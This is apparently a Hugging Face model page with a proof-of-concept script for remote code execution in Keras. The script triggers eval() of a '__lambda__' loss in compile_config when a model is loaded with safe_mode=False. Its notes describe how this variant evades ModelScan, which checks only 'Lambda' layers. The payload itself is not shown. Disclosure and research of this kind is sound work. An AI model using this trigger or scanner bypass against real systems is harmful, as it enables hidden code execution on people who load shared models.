Instructions to use xiaoyaoes/keras-compile-config-lambda-rce with libraries, inference providers, notebooks, and local apps. Follow these links to get started.
- Libraries
- Keras
How to use xiaoyaoes/keras-compile-config-lambda-rce with Keras:
# Available backend options are: "jax", "torch", "tensorflow". import os os.environ["KERAS_BACKEND"] = "jax" import keras model = keras.saving.load_model("hf://xiaoyaoes/keras-compile-config-lambda-rce") - Notebooks
- Google Colab
- Kaggle
File size: 972 Bytes
8dbc1a4 | 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 | #!/usr/bin/env python3
"""
Keras compile_config loss __lambda__ RCE PoC
Triggers: keras.saving.load_model("evil_model.keras", safe_mode=False)
The __lambda__ loss function is eval()'d on load, achieving arbitrary code execution.
ModelScan bypass: ModelScan checks for class_name "Lambda" (capital L, Layer type)
but does NOT check class_name "__lambda__" (loss function type).
"""
import keras
import warnings
warnings.filterwarnings("ignore")
print("[*] Loading malicious model with safe_mode=False...")
print("[*] The __lambda__ in compile_config.loss will be eval()'d...")
try:
model = keras.saving.load_model("evil_model.keras", safe_mode=False)
print("[!] Model loaded successfully - check /tmp/keras_rce_proof.txt")
print("[!] RCE verified!")
except Exception as e:
print(f"[-] Error: {e}")
# The RCE may have already executed even if the model load fails
print("[?] Check /tmp/keras_rce_proof.txt - RCE may have fired before the error")
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